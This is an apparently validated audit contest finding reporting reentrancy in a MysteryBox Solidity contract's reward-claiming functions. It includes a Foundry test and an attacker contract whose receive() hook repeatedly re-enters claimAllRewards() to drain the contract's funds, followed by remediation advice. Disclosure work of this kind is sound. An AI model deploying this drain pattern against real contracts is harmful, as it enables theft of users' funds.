Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `MysteryBox::claimAllRewards()` and `MysteryBox::claimSingleReward()`

Summary

In MysteryBox.sol there are 2 reentrancy vulnerable functions, claimAllRewards() and claimSingleReward()

Vulnerability Details

Reentrancy attack in these 2 function allows a malicious actor to steal all funds from the MysteryBox contract

Impact

All funds in MysteryBox can be stolen, leaving none for regular users trying to use the protocol

Proof of Concept

Add to bottom of TestMysteryBox.t.sol

function testReentrancyInClaimAllRewards() public {
address attacker = makeAddr("attacker");
bool rewardOwned = false;
startHoax(user1, 10 ether);
for (uint256 i = 0; i < 100; i++) {
mysteryBox.buyBox{value: 0.1 ether}();
}
vm.stopPrank();
hoax(attacker, 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
while (!rewardOwned) {
if ((uint256(keccak256(abi.encodePacked(block.timestamp, attacker))) % 100) >= 75) {
vm.prank(attacker);
mysteryBox.openBox();
rewardOwned = true;
} else {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
}
}
vm.prank(attacker);
MysteryBox.Reward memory attackerRewards = mysteryBox.getRewards()[0];
console.log("Reward Name: ", attackerRewards.name);
console.log("Reward Value: ", attackerRewards.value);
console.log("Contract Balance Before: ", address(mysteryBox).balance);
console.log("Attacker Balance Before:", attacker.balance);
console.log("The attacker should only be able to take out there rewards (", attackerRewards.value, "wei)");
AttackClaimAllRewards attackerContract = new AttackClaimAllRewards(mysteryBox, attacker);
vm.startPrank(attacker);
mysteryBox.transferReward(address(attackerContract), 0);
attackerContract.attack();
vm.stopPrank();
console.log("Contract Balance After: ", address(mysteryBox).balance);
console.log("Attacker Balance After:", attacker.balance);
}

The Reentrancy Attacking Contract (Add this right at the bottom of TestMysteryBox.t.sol)

contract AttackClaimAllRewards {
MysteryBox mysteryBox;
address attacker;
constructor(MysteryBox _mysteryBox, address _attacker) {
mysteryBox = _mysteryBox;
attacker = _attacker;
}
function attack() public {
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance >= (mysteryBox.getRewards()[0].value)) {
mysteryBox.claimAllRewards();
} else {
payable(attacker).transfer(address(this).balance);
}
}
}

Tools Used

Manual Review

Recommendations

  • Follow CEI (Checks, Effects, Interactions)

  • Use the nonReentrant modifier

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!